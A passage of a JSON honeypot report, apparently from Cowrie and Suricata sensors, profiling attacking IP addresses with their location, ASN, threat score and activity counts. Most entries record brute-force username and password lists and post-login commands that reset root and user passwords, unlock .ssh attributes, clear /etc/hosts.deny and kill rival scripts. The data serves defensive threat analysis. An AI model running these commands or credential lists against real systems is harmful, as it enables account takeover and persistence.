        "mysql",
        "oracle",
        "adam",
        "bitrix",
        "csgoserver",
        "csserver",
        "devadmin",
        "developer",
        "etluser",
        "frappe",
        "ftp_user",
        "ftpuser",
        "guest"
      ],
      "passwords_attempted": [
        "123456",
        "123321",
        "3245gs5662d34",
        "345gs5662d34",
        "55555",
        "abc",
        "test",
        "111",
        "1122",
        "1234",
        "1234.com",
        "12345",
        "123456789",
        "123test",
        "1qaz@WSX3edc",
        "4dm1n1str4t0r",
        "Aa111111",
        "Boxx123",
        "P@$$word",
        "P@ssw0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123321\\nO5NrwbSFR0Vj\\nO5NrwbSFR0Vj\\n\"|passwd",
        "echo \"root:ZwlBenWbHagD\"|chpasswd|bash",
        "echo -e \"123321\\nO5NrwbSFR0Vj\\nO5NrwbSFR0Vj\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Orihuela",
      "asn": 200845,
      "as_org": "Avatel Telecom, SA",
      "threat_score": 42.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 595,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T21:12:40.589000+00:00",
        "last_seen_30d": "2026-04-30T20:22:15.649000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 435,
        "Suricata": 160
      }
    },
    "77.87.40.114": {
      "attack_count": 413,
      "first_seen": "2026-04-14T19:24:41.725Z",
      "last_seen": "2026-04-30T09:07:01.211Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu",
        "user",
        "345gs5662d34",
        "bot",
        "oracle",
        "admin1",
        "administrator",
        "benjamin",
        "debian",
        "develop",
        "esuser",
        "frappe",
        "ftp_test",
        "git",
        "gitlab-psql",
        "odoo",
        "postgres",
        "test1"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "0000",
        "11111",
        "123",
        "123456",
        "1234567",
        "123456qwe",
        "123@.com",
        "1337",
        "1qaz!QAZ",
        "1qaz@WSX1234!@#$",
        "1qaz@wsx",
        "321dsa",
        "4321",
        "@admin123456",
        "Aa123456",
        "Abc@1234",
        "Bot"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"jay\\nsry9bpcCL1n4\\nsry9bpcCL1n4\\n\"|passwd",
        "echo \"linux\\nxhXYTcgG90FT\\nxhXYTcgG90FT\\n\"|passwd",
        "echo -e \"jay\\nsry9bpcCL1n4\\nsry9bpcCL1n4\"|passwd|bash",
        "echo -e \"linux\\nxhXYTcgG90FT\\nxhXYTcgG90FT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 44668,
      "as_org": "Zubko Volodymyr Viktorovych",
      "threat_score": 53.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 544,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T19:24:41.725000+00:00",
        "last_seen_30d": "2026-04-30T09:08:09.535000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 413,
        "Suricata": 131
      }
    },
    "103.76.120.106": {
      "attack_count": 342,
      "first_seen": "2026-04-19T10:31:50.929Z",
      "last_seen": "2026-04-21T19:31:39.353Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "git",
        "user1",
        "vpn",
        "Oracle",
        "abc123",
        "admin",
        "admin1234",
        "alexandre",
        "azureuser",
        "deploy",
        "frappe",
        "radius",
        "sammy",
        "server",
        "steam",
        "test",
        "tester"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!111111",
        "123",
        "123-qwer",
        "1234.asdf",
        "123456",
        "123456789@a",
        "1234Qwer",
        "123asd",
        "123qweASDzxc",
        "1q1q1q1q!",
        "1qaz3edc",
        "1qaz@WSX",
        "A12345689",
        "Aa1234567890!",
        "Aa123456~",
        "Admin2025@",
        "Florinlaur2026",
        "Frappe13"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nKMH5SdcDXhIY\\nKMH5SdcDXhIY\\n\"|passwd",
        "echo -e \"123\\nKMH5SdcDXhIY\\nKMH5SdcDXhIY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 467,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:31:50.929000+00:00",
        "last_seen_30d": "2026-04-21T19:32:41.085000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 342,
        "Suricata": 125
      }
    },
    "172.191.239.155": {
      "attack_count": 263,
      "first_seen": "2026-04-12T10:31:05.783Z",
      "last_seen": "2026-04-12T11:12:51.274Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "casa",
        "deploy",
        "teamspeak",
        "user",
        "ddev",
        "hdoop",
        "leidyroa",
        "maman",
        "rahul",
        "sammy",
        "test3",
        "ubuntu",
        "vpn",
        "vpnuser"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "12345678",
        "123456A!",
        "1234QWER",
        "A123456A12",
        "Changeme123",
        "Hy123456",
        "MSN55msn!!",
        "P@ssw0rd35",
        "Qazwsx12345#",
        "Sammy15!",
        "Ubuntu26!",
        "User29!",
        "casa",
        "ddev",
        "deploypassword",
        "frappe16!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"casa\\nhvRbu2pxdlEI\\nhvRbu2pxdlEI\\n\"|passwd",
        "echo \"teamspeak123!\\n7afg8Iroyh5s\\n7afg8Iroyh5s\\n\"|passwd",
        "echo -e \"casa\\nhvRbu2pxdlEI\\nhvRbu2pxdlEI\"|passwd|bash",
        "echo -e \"teamspeak123!\\n7afg8Iroyh5s\\n7afg8Iroyh5s\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:31:05.783000+00:00",
        "last_seen_30d": "2026-04-12T11:13:52.677000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "194.107.115.199": {
      "attack_count": 263,
      "first_seen": "2026-04-09T13:41:28.684Z",
      "last_seen": "2026-04-09T14:25:48.494Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "josh",
        "ali",
        "bot",
        "db2fenc1",
        "dev",
        "frappe",
        "ftpuser",
        "kafka",
        "pos",
        "socks",
        "teamspeak",
        "testuser",
        "ubuntu",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234567",
        "123456@ZXCV",
        "AAAAAA123456",
        "Ali6",
        "P@ssw0rd",
        "Password1",
        "Qwerty222222",
        "User2025!@#",
        "Vpn24!",
        "bot12",
        "bugaosuni",
        "dev28",
        "odoo2026",
        "passw0rd",
        "pos",
        "qwe.1234",
        "root111!@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Password1\\nqNkIYiPhODfH\\nqNkIYiPhODfH\\n\"|passwd",
        "echo \"test\\nHUEi5sTfoCnl\\nHUEi5sTfoCnl\\n\"|passwd",
        "echo -e \"Password1\\nqNkIYiPhODfH\\nqNkIYiPhODfH\"|passwd|bash",
        "echo -e \"test\\nHUEi5sTfoCnl\\nHUEi5sTfoCnl\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": null,
      "asn": 197984,
      "as_org": "State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T13:41:28.684000+00:00",
        "last_seen_30d": "2026-04-09T14:26:50.700000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "4.194.4.255": {
      "attack_count": 263,
      "first_seen": "2026-04-04T15:29:49.861Z",
      "last_seen": "2026-04-04T16:43:13.564Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "azureuser",
        "deploy",
        "admin",
        "deployer",
        "devuser",
        "guest",
        "oracle",
        "teamcity",
        "teste",
        "tobias",
        "user",
        "vps",
        "wyk",
        "yuxiang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "121212",
        "123456",
        "Abcd8888",
        "Admin24",
        "Changeme!",
        "Devuser@2025",
        "Frappe04!",
        "Linux123!@#",
        "Oracle11!",
        "Oracle123",
        "Root123!",
        "User05",
        "ZAQ!2wsx4321!",
        "ali24!",
        "azureuser123!",
        "ccBB111",
        "changeme",
        "frappe9"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ali24!\\nXcSVcXOMPaFA\\nXcSVcXOMPaFA\\n\"|passwd",
        "echo \"azureuser123!\\nhWVWW6TToKxv\\nhWVWW6TToKxv\\n\"|passwd",
        "echo -e \"ali24!\\nXcSVcXOMPaFA\\nXcSVcXOMPaFA\"|passwd|bash",
        "echo -e \"azureuser123!\\nhWVWW6TToKxv\\nhWVWW6TToKxv\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T15:29:49.861000+00:00",
        "last_seen_30d": "2026-04-04T16:44:21.544000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 71
      }
    },
    "51.159.59.161": {
      "attack_count": 261,
      "first_seen": "2026-04-07T21:20:56.216Z",
      "last_seen": "2026-04-07T21:58:42.848Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "steam",
        "user",
        "claude",
        "dmdba",
        "minecraft",
        "sammy",
        "test",
        "wg"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "!QAZ@WSX#EDC",
        "1111",
        "123!@#Qwe",
        "123456",
        "123qweASD",
        "Abc!@#456",
        "Cacat123",
        "Claude!2025",
        "P@ssw0rdP@ssw0rd",
        "QwertQwert123456",
        "Qwerty112233",
        "Root11111!!",
        "Steam2026!",
        "indonesia",
        "kontol",
        "password12$",
        "qazwsx12345!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:KcKAcTpWklNx\"|chpasswd|bash",
        "echo \"root:OZr053WXxKUf\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T21:20:56.216000+00:00",
        "last_seen_30d": "2026-04-07T21:59:50.348000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 65
      }
    },
    "102.213.34.99": {
      "attack_count": 236,
      "first_seen": "2026-04-28T10:10:11.595Z",
      "last_seen": "2026-04-28T10:32:59.821Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jumproot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsxzxcv",
        "!qaz@wsx!qaz@wsx",
        "*********",
        "123454321",
        "1qazqweQWE",
        "77777777",
        "ABC1234",
        "HJKJHJGKHJK",
        "abcde123456",
        "bbbbbb",
        "frontal",
        "gyg0sd@GYGNBD",
        "jumproot",
        "knoppix",
        "kristin",
        "lsfadmin123456",
        "qwe555555",
        "qy123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HrYA6sT1cEfv\"|chpasswd|bash",
        "echo \"root:yXRD9EEs7CY2\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": null,
      "asn": 328154,
      "as_org": "NETSPACE",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T10:10:11.595000+00:00",
        "last_seen_30d": "2026-04-28T10:34:03.022000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "103.134.154.138": {
      "attack_count": 236,
      "first_seen": "2026-04-28T14:03:46.960Z",
      "last_seen": "2026-04-28T15:50:31.655Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "esroot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%^&*()_+",
        "1002@Efx",
        "111111",
        "1qaz2wsx,./!@#",
        "224466",
        "Asdf123!@#",
        "NeWPass321",
        "Pbeh4v042I8XKW0@@",
        "Shiyiyue1",
        "Website",
        "Welcome@2026",
        "celtic1xnh",
        "iptv!@#123",
        "ivradmin",
        "korea2025",
        "password5202620",
        "redhat@2025",
        "sunmedia"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HaBqKgxgMJS3\"|chpasswd|bash",
        "echo \"root:aCgm9PiYYMH5\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T14:03:46.960000+00:00",
        "last_seen_30d": "2026-04-28T15:51:40.291000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "104.28.233.73": {
      "attack_count": 223,
      "first_seen": "2026-04-22T05:03:18.824Z",
      "last_seen": "2026-04-22T07:35:30.638Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ssuser",
        "345gs5662d34",
        "admin",
        "ali",
        "csgoserver",
        "ftpuser",
        "liu",
        "postgres",
        "proxyuser",
        "steam",
        "testuser",
        "user",
        "user_jenkins"
      ],
      "passwords_attempted": [
        "123456",
        "123456789",
        "123qweQWE",
        "1qaz2WSX@",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "Cloud@2026",
        "Hf123456",
        "Huawei@CLOUD8!",
        "Password1",
        "ali31",
        "allot",
        "ass",
        "changeme",
        "csgo",
        "ftpUser",
        "proxyuser",
        "ssuser",
        "user2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456789\\ndYhm1Tyq5B0g\\ndYhm1Tyq5B0g\\n\"|passwd",
        "echo \"ssuser\\nKQFH1y8JzExb\\nKQFH1y8JzExb\\n\"|passwd",
        "echo -e \"123456789\\ndYhm1Tyq5B0g\\ndYhm1Tyq5B0g\"|passwd|bash",
        "echo -e \"ssuser\\nKQFH1y8JzExb\\nKQFH1y8JzExb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 13335,
      "as_org": "Cloudflare, Inc.",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 274,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T05:03:18.824000+00:00",
        "last_seen_30d": "2026-04-22T07:36:33.617000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 223,
        "Suricata": 51
      }
    },
    "152.32.189.59": {
      "attack_count": 219,
      "first_seen": "2026-04-30T09:04:44.350Z",
      "last_seen": "2026-04-30T09:48:28.576Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "guest",
        "postgres",
        "testx",
        "345gs5662d34",
        "ansadmin",
        "btserver",
        "db2user",
        "dev",
        "ftp-user",
        "git",
        "gpadmin",
        "odoo",
        "ovpn",
        "root",
        "server3",
        "test",
        "test001",
        "test002"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "!@#$%^",
        "1111",
        "123",
        "123456wW",
        "123qweasdzxc",
        "1qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "987654321",
        "a",
        "admin2006",
        "admini",
        "ansadmin",
        "asd123",
        "asdasd",
        "btserver",
        "db2user",
        "ovpn123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"testx\\nMxGntVRq7bzj\\nMxGntVRq7bzj\\n\"|passwd",
        "echo -e \"testx\\nMxGntVRq7bzj\\nMxGntVRq7bzj\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
